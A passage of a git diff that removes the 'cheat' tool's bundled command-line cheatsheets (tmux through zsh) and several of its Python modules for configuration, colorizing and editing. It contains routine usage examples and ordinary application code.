outfile.txt - -# To tee stdout and append to a file: -ls | tee -a outfile.txt - -# To tee stdout to the terminal, and also pipe it into another program for further processing: -ls | tee /dev/tty | xargs printf "\033[1;34m%s\033[m\n" diff --git a/cheat/cheatsheets/tmux b/cheat/cheatsheets/tmux deleted file mode 100644 index ef72007..0000000 --- a/cheat/cheatsheets/tmux +++ /dev/null @@ -1,56 +0,0 @@ -# Start tmux: -tmux - -# Detach from tmux: -Ctrl-b d - -# Restore tmux session: -tmux attach - -# Detach an already attached session (great if you are moving devices with different screen resolutions) -tmux attach -d - -# Display session: -tmux ls - -# Rename session: -Ctrl-b $ - -# Switch session: -Ctrl-b s - -# Start a shared session: -tmux -S /tmp/your_shared_session -chmod 777 /tmp/your_shared_session - -# Help screen (Q to quit): -Ctrl-b ? - -# Scroll in window: -Ctrl-b PageUp/PageDown - -# Reload configuation file -Ctrl-b : source-file /path/to/file - -# Window management -# ================= - -# Create window: -Ctrl-b c - -# Destroy window: -Ctrl-b x - -# Switch between windows: -Ctrl-b [0-9] -or -Ctrl-b Arrows - -# Split windows horizontally: -Ctrl-b % - -# Split windows vertically: -Ctrl-b " - -# Swap windows -Ctrl-b :swap-window -s [0-9] -t [0-9] diff --git a/cheat/cheatsheets/top b/cheat/cheatsheets/top deleted file mode 100644 index 46c0c8d..0000000 --- a/cheat/cheatsheets/top +++ /dev/null @@ -1,26 +0,0 @@ -# Update every samples: -top -i - -# Set the delay between updates to seconds: -top -s - -# Set event counting to accumulative mode: -top -a - -# Set event counting to delta mode: -top -d - -# Set event counting to absolute mode: -top -e - -# Do not calculate statistics on shared libraries, also known as frameworks: -top -F - -# Calculate statistics on shared libraries, also known as frameworks (default): -top -f - -# Print command line usage information and exit: -top -h - -# Order the display by sorting on in descending order -top -o diff --git a/cheat/cheatsheets/tr b/cheat/cheatsheets/tr deleted file mode 100644 index 09849e4..0000000 --- a/cheat/cheatsheets/tr +++ /dev/null @@ -1,22 +0,0 @@ -#replace : with new line -echo $PATH|tr ":" "\n" #equivalent with: -echo $PATH|tr -t ":" \n - -#remove all occurance of "ab" -echo aabbcc |tr -d "ab" -#ouput: cc - -#complement "aa" -echo aabbccd |tr -c "aa" 1 -#output: aa11111 without new line -#tip: Complement meaning keep aa,all others are replaced with 1 - -#complement "ab\n" -echo aabbccd |tr -c "ab\n" 1 -#output: aabb111 with new line - -#Preserve all alpha(-c). ":-[:digit:] etc" will be translated to "\n". sequeeze mode. -echo $PATH|tr -cs "[:alpha:]" "\n" - -#ordered list to unordered list -echo "1. /usr/bin\n2. /bin" |tr -cs " /[:alpha:]\n" "+" diff --git a/cheat/cheatsheets/trashy b/cheat/cheatsheets/trashy deleted file mode 100644 index edc6d2b..0000000 --- a/cheat/cheatsheets/trashy +++ /dev/null @@ -1,14 +0,0 @@ -# Trash foo and bar -trash foo bar - -# Trash "foo bar" -trash foo\ bar - -# List files in trash -trash -v --list - -# Restore foo from trash -trash --restore foo - -# Empty trash -trash --empty diff --git a/cheat/cheatsheets/tree b/cheat/cheatsheets/tree deleted file mode 100644 index cb09f73..0000000 --- a/cheat/cheatsheets/tree +++ /dev/null @@ -1,11 +0,0 @@ -# To display a recursive directory tree -tree - -# To make tree output contents from path `/foo/bar` -tree /foo/bar - -# To make tree omit any empty directories from the output -tree --prune - -# To list directories only (`-d`), and at a max depth of two levels (`-L`) -tree -d -L 2 diff --git a/cheat/cheatsheets/truncate b/cheat/cheatsheets/truncate deleted file mode 100644 index 17bc76e..0000000 --- a/cheat/cheatsheets/truncate +++ /dev/null @@ -1,10 +0,0 @@ -# To clear the contents from a file: -truncate -s 0 file.txt - -# To truncate a file to 100 bytes: -truncate -s 100 file.txt - -# To truncate a file to 100 KB: -truncate -s 100K file.txt - -# (M, G, T, P, E, Z, and Y may be used in place of "K" as required.) diff --git a/cheat/cheatsheets/udisksctl b/cheat/cheatsheets/udisksctl deleted file mode 100644 index 2cd929b..0000000 --- a/cheat/cheatsheets/udisksctl +++ /dev/null @@ -1,11 +0,0 @@ -# Get info about block device -udisksctl info -b - -# Mounting device -udisksctl mount --block-device - -# Unmounting device -udisksctl unmount --block-device - -# Get help -udisksctl help diff --git a/cheat/cheatsheets/uname b/cheat/cheatsheets/uname deleted file mode 100644 index 12bbcc7..0000000 --- a/cheat/cheatsheets/uname +++ /dev/null @@ -1,27 +0,0 @@ -# Print all system information -uname -a -# Linux system-hostname 3.2.0-4-amd64 #1 SMP Debian 3.2.32-1 x86_64 GNU/Linux - -# Print the hostname -uname -n -# system-hostname - -# Print the kernel release -uname -r -# 3.2.0-4-amd64 - -# Print the kernel version, with more specific information -uname -v -# #1 SMP Debian 3.2.32-1 - -# Print the hardware instruction set -uname -m -# x86_64 - -# Print the kernel name -uname -s -# Linux - -# Print the operating system -uname -o -# GNU/Linux diff --git a/cheat/cheatsheets/uniq b/cheat/cheatsheets/uniq deleted file mode 100644 index b9abd3d..0000000 --- a/cheat/cheatsheets/uniq +++ /dev/null @@ -1,18 +0,0 @@ -# show all lines without duplication -# `sort -u` and `uniq` is the same effect. -sort file | uniq - -# show not duplicated lines -sort file | uniq -u - -# show duplicated lines only -sort file | uniq -d - -# count all lines -sort file | uniq -c - -# count not duplicated lines -sort file | uniq -uc - -# count only duplicated lines -sort file | uniq -dc diff --git a/cheat/cheatsheets/unzip b/cheat/cheatsheets/unzip deleted file mode 100644 index 6d8a792..0000000 --- a/cheat/cheatsheets/unzip +++ /dev/null @@ -1,8 +0,0 @@ -# Extract archive -unzip archive.zip - -# Test integrity of archive -unzip -tq archive.zip - -# List files and directories in a file -unzip -l archive.zip diff --git a/cheat/cheatsheets/urpm b/cheat/cheatsheets/urpm deleted file mode 100644 index 3cb93f2..0000000 --- a/cheat/cheatsheets/urpm +++ /dev/null @@ -1,14 +0,0 @@ -# search (fuzzy) for package foo -urpmq -Y foo - -# check if foo is installed -rpm -q foo - -# install package foo -urpmi foo - -# download but don't install foo -urpmi --no-install foo - -# uninstall package foo -urpme foo diff --git a/cheat/cheatsheets/vagrant b/cheat/cheatsheets/vagrant deleted file mode 100644 index 7184eb9..0000000 --- a/cheat/cheatsheets/vagrant +++ /dev/null @@ -1,33 +0,0 @@ -# Initate Vagrant -mkdir vag-vm; cd vag-vm -vagrant init - -# Add a box to vagrant repo -vagrant box add hashicorp/precise32 - -# Add a box Vagrant file -config.vm.box = "hashicorp/precise32" - -# Add vm to public network as host -config.vm.network "public_network" - -# Add provision script to vagrant file -config.vm.provision :shell, path: "provision.sh" - -# Start vm -vagrant up - -# Connect to started instance -vagrant ssh - -# Shutdown vm -vagrant halt - -# Hibernate vm -vagrant suspend - -# Set vm to initial state by cleaning all data -vagrant destroy - -# Restart vm with new provision script -vagrant reload --provision diff --git a/cheat/cheatsheets/vim b/cheat/cheatsheets/vim deleted file mode 100644 index 3540bb2..0000000 --- a/cheat/cheatsheets/vim +++ /dev/null @@ -1,80 +0,0 @@ -# File management - -:e reload file -:q quit -:q! quit without saving changes -:w write file -:w {file} write new file -:x write file and exit - -# Movement - - k - h l basic motion - j - -w next start of word -W next start of whitespace-delimited word -e next end of word -E next end of whitespace-delimited word -b previous start of word -B previous start of whitespace-delimited word -0 start of line -$ end of line -gg go to first line in file -G go to end of file -gk move down one displayed line -gj move up one displayed line - -# Insertion -# To exit from insert mode use Esc or Ctrl-C -# Enter insertion mode and: - -a append after the cursor -A append at the end of the line -i insert before the cursor -I insert at the beginning of the line -o create a new line under the cursor -O create a new line above the cursor -R enter insert mode but replace instead of inserting chars -:r {file} insert from file - -# Editing - -u undo -yy yank (copy) a line -y{motion} yank text that {motion} moves over -p paste after cursor -P paste before cursor - or x delete a character -dd delete a line -d{motion} delete text that {motion} moves over - -# Search and replace with the `:substitute` (aka `:s`) command - -:s/foo/bar/ replace the first match of 'foo' with 'bar' on the current line only -:s/foo/bar/g replace all matches (`g` flag) of 'foo' with 'bar' on the current line only -:%s/foo/bar/g replace all matches of 'foo' with 'bar' in the entire file (`:%s`) -:%s/foo/bar/gc ask to manually confirm (`c` flag) each replacement - -# Preceding a motion or edition with a number repeats it 'n' times -# Examples: -50k moves 50 lines up -2dw deletes 2 words -5yy copies 5 lines -42G go to line 42 - -# Multiple windows -:e filename - edit another file -:split filename - split window and load another file -ctrl-w up arrow - move cursor up a window -ctrl-w ctrl-w - move cursor to another window (cycle) -ctrl-w_ - maximize current window -ctrl-w= - make all equal size -10 ctrl-w+ - increase window size by 10 lines -:vsplit file - vertical split -:sview file - same as split, but readonly -:hide - close current window -:only - keep only this window open -:ls - show current buffers -:b 2 - open buffer #2 in this window diff --git a/cheat/cheatsheets/virtualenv b/cheat/cheatsheets/virtualenv deleted file mode 100644 index a0fb6d4..0000000 --- a/cheat/cheatsheets/virtualenv +++ /dev/null @@ -1,38 +0,0 @@ -# Create new environment -virtualenv /path/to/project/env_name - -# Create new environment and inherit already installed Python libraries -virtualenv --system-site-package /path/to/project/env_name - -# Create new environment with a given Python interpreter -virtualenv /path/to/project/env_name -p /usr/bin/python/3.4 - -# Activate environnment -source /path/to/project/env_name/bin/activate - -# Quit environment -deactivate - - -# virtualenvwrapper (wrapper for virtualenv) -# installation -pip install --user virtualenvwrapper -# configuration -# add in ~/.bashrc or similar -export WORKON_HOME=~/.virtualenvs -mkdir -p $WORKON_HOME -source ~/.local/bin/virtualenvwrapper.sh - -# Create new environmment (with virtualenvwrapper) -mkvirtualenv env_name -# new environmment is stored in ~/.virtualenvs - -# Activate environmment (with virtualenvwrapper) -workon env_name - -# Quit environmment (with virtualenvwrapper) -deactivate - -# Delete environmment (with virtualenvwrapper) -rmvirtualenv env_name - diff --git a/cheat/cheatsheets/wc b/cheat/cheatsheets/wc deleted file mode 100644 index c8d771e..0000000 --- a/cheat/cheatsheets/wc +++ /dev/null @@ -1,18 +0,0 @@ -# Count the number of words (file or STDIN) -wc -w /path/to/foo.txt -cat /path/to/foo.txt | wc -w - -# Count the number of lines (file or STDIN) -wc -l /path/to/foo.txt -cat /path/to/foo.txt | wc -l - -# Count the number of bytes (file or STDIN) -wc -c /path/to/foo.txt -cat /path/to/foo.txt | wc -c - -# Count files and directories at a given location -ls -l | wc -l - -# If you ever use `wc` in a shell script and need to compare the output with an int you can -# clean the output (wc returns extra characters around the integer) by using xargs: -ls -l | wc -l | xargs diff --git a/cheat/cheatsheets/weechat b/cheat/cheatsheets/weechat deleted file mode 100644 index f001b4c..0000000 --- a/cheat/cheatsheets/weechat +++ /dev/null @@ -1,16 +0,0 @@ -# Set unread marker on all windows -Ctrl-s Ctrl-u - -# Switch buffer left -Ctrl-p, Alt-left -# Switch buffer right -Ctrl-n, Alt-right -# Next buffer with activity -Alt-a -# Switch buffers -Alt-0...9 - -# Scroll buffer title -F9/F10 -# Scroll nick list -F11/F12 diff --git a/cheat/cheatsheets/wget b/cheat/cheatsheets/wget deleted file mode 100644 index db754a0..0000000 --- a/cheat/cheatsheets/wget +++ /dev/null @@ -1,35 +0,0 @@ -# To download a single file -wget http://path.to.the/file - -# To download a file and change its name -wget http://path.to.the/file -O newname - -# To download a file into a directory -wget -P path/to/directory http://path.to.the/file - -# To continue an aborted downloaded -wget -c http://path.to.the/file - -# To download multiples files with multiple URLs -wget URL1 URL2 - -# To parse a file that contains a list of URLs to fetch each one -wget -i url_list.txt - -# To mirror a whole page locally -wget -pk http://path.to.the/page.html - -# To mirror a whole site locally -wget -mk http://site.tl/ - -# To download files according to a pattern -wget http://www.myserver.com/files-{1..15}.tar.bz2 - -# To download all the files in a directory with a specific extension if directory indexing is enabled -wget -r -l1 -A.extension http://myserver.com/directory - -# Allows you to download just the headers of responses (-S --spider) and display them on Stdout (-O -). -wget -S --spider -O - http://google.com - -# Change the User-Agent to 'User-Agent: toto' -wget -U 'toto' http://google.com diff --git a/cheat/cheatsheets/xargs b/cheat/cheatsheets/xargs deleted file mode 100644 index a1391f3..0000000 --- a/cheat/cheatsheets/xargs +++ /dev/null @@ -1,16 +0,0 @@ -# find all file name ending with .pdf and remove them -find -name *.pdf | xargs rm -rf - -# if file name contains spaces you should use this instead -find -name *.pdf | xargs -I{} rm -rf '{}' - -# Will show every .pdf like: -# &toto.pdf= -# &titi.pdf= -# -n1 => One file by one file. ( -n2 => 2 files by 2 files ) - -find -name *.pdf | xargs -I{} -n1 echo '&{}=' - -# If find returns no result, do not run rm -# This option is a GNU extension. -find -name "*.pdf" | xargs --no-run-if-empty rm diff --git a/cheat/cheatsheets/xmlto b/cheat/cheatsheets/xmlto deleted file mode 100644 index 51a67f0..0000000 --- a/cheat/cheatsheets/xmlto +++ /dev/null @@ -1,14 +0,0 @@ -# DocBook XML to PDF -xmlto pdf mydoc.xml - -# DocBook XML to HTML -xmlto -o html-dir html mydoc.xml - -# DocBook XML to single HTML file -xmlto html-nochunks mydoc.xml - -# modify output with XSL override -xmlto -m ulink.xsl pdf mydoc.xml - -# use non-default xsl -xmlto -x mystylesheet.xsl pdf mydoc.xml diff --git a/cheat/cheatsheets/xrandr b/cheat/cheatsheets/xrandr deleted file mode 100644 index 01589f7..0000000 --- a/cheat/cheatsheets/xrandr +++ /dev/null @@ -1,11 +0,0 @@ -# To enable HDMI2 output with maximal resolution: -xrandr --output HDMI2 --auto - -# To enable HDMI2 output with specific resolution: -xrandr --output HDMI2 --mode 1280x800 - -# To enable HDMI2 output next to HDMI1 output: -xrandr --output HDMI2 --auto --right-of HDMI1 - -# To disable HDMI2 output: -xrandr --output HDMI2 --off diff --git a/cheat/cheatsheets/xxd b/cheat/cheatsheets/xxd deleted file mode 100644 index 89efb28..0000000 --- a/cheat/cheatsheets/xxd +++ /dev/null @@ -1,8 +0,0 @@ -# Convert bin/string to hex. -# Result: 34322069732074686520736f6c7574696f6e0a -echo '42 is the solution' | xxd -p - -# Convert hex to bin/string. -# Result: 42 is the solution -echo '34322069732074686520736f6c7574696f6e0a' | xxd -r -p - diff --git a/cheat/cheatsheets/yaourt b/cheat/cheatsheets/yaourt deleted file mode 100644 index f3a6ec1..0000000 --- a/cheat/cheatsheets/yaourt +++ /dev/null @@ -1,23 +0,0 @@ -# All pacman commands are working the same way with yaourt. -# Just check the pacman cheatsheet. -# For instance, to install a package : -pacman -S -yaourt -S -# The difference is that yaourt will also query the Arch User Repository, -# and if appropriate, donwload the source and build the package requested. - -# Here are the commands yaourt provides while pacman doesn't : - -# To search for a package and install it -yaourt - -# To update the local package base and upgrade all out of date package, including the ones from -AUR and the packages based on development repos (git, svn, hg...) -yaourt -Suya --devel - -# For all of the above commands, if you want yaourt to stop asking constantly for confirmations, -use the option --noconfirm - -# To build a package from source -yaourt -Sb - diff --git a/cheat/cheatsheets/youtube-dl b/cheat/cheatsheets/youtube-dl deleted file mode 100644 index 1c6a278..0000000 --- a/cheat/cheatsheets/youtube-dl +++ /dev/null @@ -1,23 +0,0 @@ -# To download a video in 720p MP4: -youtube-dl -f 22 example.com/watch?v=id - -# To download a video in 720p MP4 or WebM or FLV: -youtube-dl -f 22/45/120 - -# To list all available formats of a video: -youtube-dl -F example.com/watch?v=id - -# To download a video to /$uploader/$date/$title.$ext: -youtube-dl -o '%(uploader)s/%(date)s/%(title)s.%(ext)s' example.com/watch?v=id - -# To download a video playlist starting from a certain video: -youtube-dl --playlist-start 5 example.com/watch?v=id&list=listid - -# To simulate a download with youtube-dl: -youtube-dl -s example.com/watch?v=id - -# To download audio in mp3 format with best quality available -youtube-dl --extract-audio --audio-format mp3 --audio-quality 0 example.com/watch?v=id - -# For all video formats see link below (unfold "Comparison of YouTube media encoding options") -# https://en.wikipedia.org/w/index.php?title=YouTube&oldid=723160791#Quality_and_formats diff --git a/cheat/cheatsheets/yum b/cheat/cheatsheets/yum deleted file mode 100644 index c5eb136..0000000 --- a/cheat/cheatsheets/yum +++ /dev/null @@ -1,31 +0,0 @@ -# To install the latest version of a package: -yum install - -# To perform a local install: -yum localinstall - -# To remove a package: -yum remove - -# To search for a package: -yum search - -# To find what package installs a program: -yum whatprovides - -# To find the dependencies of a package: -yum deplist - -# To find information about a package: -yum info - -# List currently enabled repositories: -yum repolist - -# List packages containing a certain keyword: -yum list - -# To download the source RPM for a package: -yumdownloader --source - -# (You have to install yumdownloader first, which is installed by the yum-utils package) diff --git a/cheat/cheatsheets/z b/cheat/cheatsheets/z deleted file mode 100644 index 4b5301f..0000000 --- a/cheat/cheatsheets/z +++ /dev/null @@ -1,14 +0,0 @@ -# To `cd` to most frecent dir matching `foo` -z foo - -# To `cd` to most frecent dir matching `foo`, then `bar` -z foo bar - -# To `cd` to highest ranked dir matching `foo` -z -r foo - -# To `cd` to most recently accessed dir matching `foo` -z -t foo - -# To list all dirs matching `foo` - By frecency -z -l foo diff --git a/cheat/cheatsheets/zfs b/cheat/cheatsheets/zfs deleted file mode 100644 index 845c079..0000000 --- a/cheat/cheatsheets/zfs +++ /dev/null @@ -1,126 +0,0 @@ -# WARNING: -# In order to avoid headaches when moving ZFS physical devices around, -# one will be much better served to reference devices by their *immutable* -# ID - as in /dev/disk/by-id/* - rather than their block device name - -# as in /dev/{sd,nvme}* - which is bound to change as per PCI enumeration -# order. -# For the sake of briefness, we'll use the following variables: -# ${device} device (/dev/disk/by-id/${device}) -# ${part} partition (/dev/disk/by-id/${part=${device}-part${N}}) -# ${pool} ZFS pool (name) -# ${fs_vol} ZFS file system or volume (name) -# ${snapshot} ZFS snapshot (name) - - -## Pools - -# Create a new "RAID-5" (raidz1) pool -# Recommended: use entire devices rather than partitions -zpool create ${pool} raidz1 ${device} ${device} ${device} [...] - -# Add 2nd-level "RAID-1" (mirror) ZFS Intent Log (ZIL; synchronous write cache) -# Recommended: use separate, fast, low-latency devices (e.g. NVMe) -zpool add ${pool} log mirror ${part} ${part} - -# Add 2nd-level "RAID-0" Adaptive Replacement Cache (ARC; read cache) -# Recommended: use separate, fast, low-latency devices (e.g. NVMe) -zpool add ${pool} cache ${part} ${part} [...] - -# Remove log or cache components -zpool remove zfs ${part} [...] - -# Import (enable) existing pool from newly connected devices -# Note: this will create the /etc/zfs/zpool.cache devices cache -zpool import -d /dev/disk/by-id -aN - -# Import (enable) existing pool using the devices cache -zpool import -c /etc/zfs/zpool.cache -aN - -# Export (disable) pool (e.g. before shutdown) -zpool export -a - -# List all (imported) pools -zpool list - -# See pool status -zpool status ${pool} - -# See detailed pool I/O statistics -zpool iostat ${pool} -v - -# Verify pool integrity (data checksums) -# (watch progress with 'zpool status') -zpool scrub ${pool} - -# Remove a failing device from a pool -# Note: redundant pools (mirror, raidz) will continue working in degraded state -zpool detach ${pool} ${device} - -# Replace a failed device in a pool -# Note: new device will be "resilvered" automatically (parity reconstruction) -# (watch progress with 'zpool status') -zpool replace ${pool} ${failed-device} ${new-device} - -# Erase zpool labels ("superblock") from a device/partition -# WARNING: MUST do before reusing a device/partition for other purposes -zpool labelclear ${device} - -# Query pool configuration (properties) -zpool get all ${pool} - -# Change pool configuration (property) -zpool set = ${pool} - -# Dump the entire pool (commands) history -zpool history ${pool} - -# More... -man zpool - - -## File systems / Volumes - -# Create a new file system -zfs create ${pool}/${fs_vol} - -# Create a new volume ("block device") -# Note: look for it in /dev/zvol/${pool}/${fs_vol} -zfs create -V ${pool}/${fs_vol} - -# List all file systems / volumes -zfs list - -# Mount all file systems -# Note: see 'zfs get mountpoint ${pool}' for mountpoint root path -zfs mount -a - -# Create a snapshot -zfs snapshot ${pool}/${fs_vol}@${snapshot} - -# Delete a snapshot -zfs destroy ${pool}/${fs_vol}@${snapshot} - -# Full backup -# Note: pipe (|) source to destination through netcat, SSH, etc. -# ... on source: -zfs send -p -R ${pool}/${fs_vol}@${snapshot} -# ... on destination: -zfs receive -F ${pool}/${fs_vol} - -# Incremental backup -# Note: pipe (|) source to destination through netcat, SSH, etc. -# ... on source: -zfs send -p -R -i ${pool}/${fs_vol}@${snapshot-previous} ${pool}/${fs_vol}@${snapshot} -# ... on destination: -zfs receive -F ${pool}/${fs_vol} - -# Query file system / volume configuration (properties) -zfs get all ${pool} -zfs get all ${pool}/${fs_vol} - -# Change file system / volume configuration (property) -zfs set = ${pool}/${fs_vol} - -# More... -man zfs - diff --git a/cheat/cheatsheets/zip b/cheat/cheatsheets/zip deleted file mode 100644 index 94e643a..0000000 --- a/cheat/cheatsheets/zip +++ /dev/null @@ -1,11 +0,0 @@ -# Create zip file -zip archive.zip file1 directory/ - -# Create zip file from directory -zip -r archive.zip directory/ - -# Create zip file with password -zip -P password archive.zip file1 - -# To list, test and extract zip archives, see unzip -cheat unzip diff --git a/cheat/cheatsheets/zoneadm b/cheat/cheatsheets/zoneadm deleted file mode 100644 index 0dee119..0000000 --- a/cheat/cheatsheets/zoneadm +++ /dev/null @@ -1,21 +0,0 @@ -# Halt zone -zoneadm -z halt - -# Delete Zone -zoneadm -z halt -zoneadm -z uninstall - -# Verify Zone -zoneadm -z verify - -# Installing Zone -zoneadm -z install - -# Boot Zone -zoneadm -z boot - -# Reboot Zone -zoneadm -z reboot - -# List Zones -zoneadm list -cv diff --git a/cheat/cheatsheets/zsh b/cheat/cheatsheets/zsh deleted file mode 100644 index 5db902e..0000000 --- a/cheat/cheatsheets/zsh +++ /dev/null @@ -1,82 +0,0 @@ -# A plain old glob -print -l *.txt -print -l **/*.txt - -# Show text files that end in a number from 1 to 10 -print -l **/*<1-10>.txt - -# Show text files that start with the letter a -print -l **/[a]*.txt - -# Show text files that start with either ab or bc -print -l **/(ab|bc)*.txt - -# Show text files that don't start with a lower or uppercase c -print -l **/[^cC]*.txt - -# Show only directories -print -l **/*(/) - -# Show only regular files -print -l **/*(.) - -# Show empty files -print -l **/*(L0) - -# Show files greater than 3 KB -print -l **/*(Lk+3) - -# Show files modified in the last hour -print -l **/*(mh-1) - -# Sort files from most to least recently modified and show the last 3 -print -l **/*(om[1,3]) - -# `.` show files, `Lm-2` smaller than 2MB, `mh-1` modified in last hour, -# `om` sort by modification date, `[1,3]` only first 3 files -print -l **/*(.Lm-2mh-1om[1,3]) - -# Show every directory that contain directory `.git` -print -l **/*(e:'[[ -d $REPLY/.git ]]':) - -# Return the file name (t stands for tail) -print -l *.txt(:t) - -# Return the file name without the extension (r stands for remove_extension) -print -l *.txt(:t:r) - -# Return the extension -print -l *.txt(:e) - -# Return the parent folder of the file (h stands for head) -print -l *.txt(:h) - -# Return the parent folder of the parent -print -l *.txt(:h:h) - -# Return the parent folder of the first file -print -l *.txt([1]:h) - -# Parameter expansion -files=(*.txt) # store a glob in a variable -print -l $files -print -l $files(:h) # this is the syntax we saw before -print -l ${files:h} -print -l ${files(:h)} # don't mix the two, or you'll get an error -print -l ${files:u} # the :u modifier makes the text uppercase - -# :s modifier -variable="path/aaabcd" -echo ${variable:s/bc/BC/} # path/aaaBCd -echo ${variable:s_bc_BC_} # path/aaaBCd -echo ${variable:s/\//./} # path.aaabcd (escaping the slash \/) -echo ${variable:s_/_._} # path.aaabcd (slightly more readable) -echo ${variable:s/a/A/} # pAth/aaabcd (only first A is replaced) -echo ${variable:gs/a/A/} # pAth/AAAbcd (all A is replaced) - -# Split the file name at each underscore -echo ${(s._.)file} - -# Join expansion flag, opposite of the split flag. -array=(a b c d) -echo ${(j.-.)array} # a-b-c-d diff --git a/cheat/colorize.py b/cheat/colorize.py deleted file mode 100644 index 1d24d7c..0000000 --- a/cheat/colorize.py +++ /dev/null @@ -1,65 +0,0 @@ -from __future__ import print_function -import sys - - -class Colorize: - - def __init__(self, config): - self._config = config - - def search(self, needle, haystack): - """ Colorizes search results matched within a line """ - - # if a highlight color is not configured, exit early - if not self._config.cheat_highlight: - return haystack - - # otherwise, attempt to import the termcolor library - try: - from termcolor import colored - - # if the import fails, return uncolored text - except ImportError: - return haystack - - # if the import succeeds, colorize the needle in haystack - return haystack.replace(needle, - colored(needle, self._config.cheat_highlight)) - - def syntax(self, sheet_content): - """ Applies syntax highlighting """ - - # only colorize if cheat_colors is true, and stdout is a tty - if self._config.cheat_colors is False or not sys.stdout.isatty(): - return sheet_content - - # don't attempt to colorize an empty cheatsheet - if not sheet_content.strip(): - return "" - - # otherwise, attempt to import the pygments library - try: - from pygments import highlight - from pygments.lexers import get_lexer_by_name - from pygments.formatters import TerminalFormatter - - # if the import fails, return uncolored text - except ImportError: - return sheet_content - - # otherwise, attempt to colorize - first_line = sheet_content.splitlines()[0] - lexer = get_lexer_by_name('bash') - - # apply syntax-highlighting if the first line is a code-fence - if first_line.startswith('```'): - sheet_content = '\n'.join(sheet_content.split('\n')[1:-2]) - try: - lexer = get_lexer_by_name(first_line[3:]) - except Exception: - pass - - return highlight( - sheet_content, - lexer, - TerminalFormatter(bg=self._config.cheat_colorscheme)) diff --git a/cheat/configuration.py b/cheat/configuration.py deleted file mode 100644 index e503654..0000000 --- a/cheat/configuration.py +++ /dev/null @@ -1,119 +0,0 @@ -from cheat.utils import Utils -import cheat.appdirs as appdirs -import json -import os - - -class Configuration: - - def __init__(self): - # compute the location of the config files - config_file_path_global = self._select([ - os.environ.get('CHEAT_GLOBAL_CONF_PATH'), - appdirs.site_config_dir('cheat', 'cheat'), - ]) - config_file_path_local = self._select([ - os.environ.get('CHEAT_LOCAL_CONF_PATH'), - appdirs.user_config_dir('cheat', 'cheat'), - ]) - - # attempt to read the global config file - config = {} - try: - config.update(self._read_config_file(config_file_path_global)) - except Exception as e: - Utils.warn('Error while parsing global configuration: ' - + e.message) - - # attempt to read the local config file - try: - config.update(self._read_config_file(config_file_path_local)) - except Exception as e: - Utils.warn('Error while parsing local configuration: ' + e.message) - - # With config files read, now begin to apply envvar overrides and - # default values - - # self.cheat_colors - self.cheat_colors = self._select([ - Utils.boolify(os.environ.get('CHEAT_COLORS')), - Utils.boolify(os.environ.get('CHEATCOLORS')), - Utils.boolify(config.get('CHEAT_COLORS')), - True, - ]) - - # self.cheat_colorscheme - self.cheat_colorscheme = self._select([ - os.environ.get('CHEAT_COLORSCHEME'), - config.get('CHEAT_COLORSCHEME'), - 'light', - ]).strip().lower() - - # self.cheat_user_dir - self.cheat_user_dir = self._select( - map(os.path.expanduser, - filter(None, - [os.environ.get('CHEAT_USER_DIR'), - os.environ.get('CHEAT_DEFAULT_DIR'), - os.environ.get('DEFAULT_CHEAT_DIR'), - os.path.join('~', '.cheat')]))) - - # self.cheat_editor - self.cheat_editor = self._select([ - os.environ.get('CHEAT_EDITOR'), - os.environ.get('EDITOR'), - os.environ.get('VISUAL'), - config.get('CHEAT_EDITOR'), - 'vi', - ]) - - # self.cheat_highlight - self.cheat_highlight = self._select([ - os.environ.get('CHEAT_HIGHLIGHT'), - config.get('CHEAT_HIGHLIGHT'), - False, - ]) - if isinstance(self.cheat_highlight, str): - Utils.boolify(self.cheat_highlight) - - # self.cheat_path - self.cheat_path = self._select([ - os.environ.get('CHEAT_PATH'), - os.environ.get('CHEATPATH'), - config.get('CHEAT_PATH'), - appdirs.user_data_dir('cheat', 'cheat'), - ]) - - def _read_config_file(self, path): - """ Reads configuration file and returns list of set variables """ - config = {} - if os.path.isfile(path): - with open(path) as config_file: - config.update(json.load(config_file)) - return config - - def _select(self, values): - for v in values: - if v is not None: - return v - - def validate(self): - """ Validates configuration parameters """ - - # assert that cheat_highlight contains a valid value - highlights = [ - 'grey', 'red', 'green', 'yellow', - 'blue', 'magenta', 'cyan', 'white', - False - ] - if self.cheat_highlight not in highlights: - Utils.die("%s %s" % - ('CHEAT_HIGHLIGHT must be one of:', highlights)) - - # assert that the color scheme is valid - colorschemes = ['light', 'dark'] - if self.cheat_colorscheme not in colorschemes: - Utils.die("%s %s" % - ('CHEAT_COLORSCHEME must be one of:', colorschemes)) - - return True diff --git a/cheat/editor.py b/cheat/editor.py deleted file mode 100644 index c48351f..0000000 --- a/cheat/editor.py +++ /dev/null @@ -1,29 +0,0 @@ -from __future__ import print_function -from cheat.utils import Utils -import subprocess - - -class Editor: - - def __init__(self, config): - self._config = config - - def editor(self): - """ Determines the user's preferred editor """ - - # assert that the editor is set - if not self._config.cheat_editor: - Utils.die( - 'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment ' - 'variable or setting in order to create/edit a cheatsheet.' - ) - - return self._config.cheat_editor - - def open(self, filepath): - """ Open `filepath` using the EDITOR specified by the env variables """ - editor_cmd = self.editor().split() - try: - subprocess.call(editor_cmd + [filepath]) - except OSError: - Utils.die('Could not launch ' + self.editor()) diff --git a/cheat/sheet.py b/cheat/sheet.py deleted file mode 100644 index 4cd3f96..0000000 --- a/cheat/sheet.py +++ /dev/null @@ -1,64 +0,0 @@ -from cheat.editor import Editor -from cheat.utils import Utils -import io -import os -import shutil - - -class Sheet: - - def __init__(self, config, sheets): - self._config = config - self._editor = Editor(config) - self._sheets = sheets - - def _exists(self, sheet): - """ Predicate that returns true if the sheet exists """ - return (sheet in self._sheets.get() and - os.access(self._path(sheet), os.R_OK)) - - def _exists_in_default_path(self, sheet): - """ Predicate that returns true if the sheet exists in default_path""" - default_path = os.path.join(self._config.cheat_user_dir, sheet) - return (sheet in self._sheets.get() and - os.access(default_path, os.R_OK)) - - def _path(self, sheet): - """ Returns a sheet's filesystem path """ - return self._sheets.get()[sheet] - - def edit(self, sheet): - """ Creates or edits a cheatsheet """ - - # if the cheatsheet does not exist - if not self._exists(sheet): - new_path = os.path.join(self._config.cheat_user_dir, sheet) - self._editor.open(new_path) - - # if the cheatsheet exists but not in the default_path, copy it to the - # default path before editing - elif self._exists(sheet) and not self._exists_in_default_path(sheet): - try: - shutil.copy( - self._path(sheet), - os.path.join(self._config.cheat_user_dir, sheet) - ) - - # fail gracefully if the cheatsheet cannot be copied. This can - # happen if CHEAT_USER_DIR does not exist - except IOError: - Utils.die('Could not copy cheatsheet for editing.') - - self._editor.open(self._path(sheet)) - - # if it exists and is in the default path, then just open it - else: - self._editor.open(self._path(sheet)) - - def 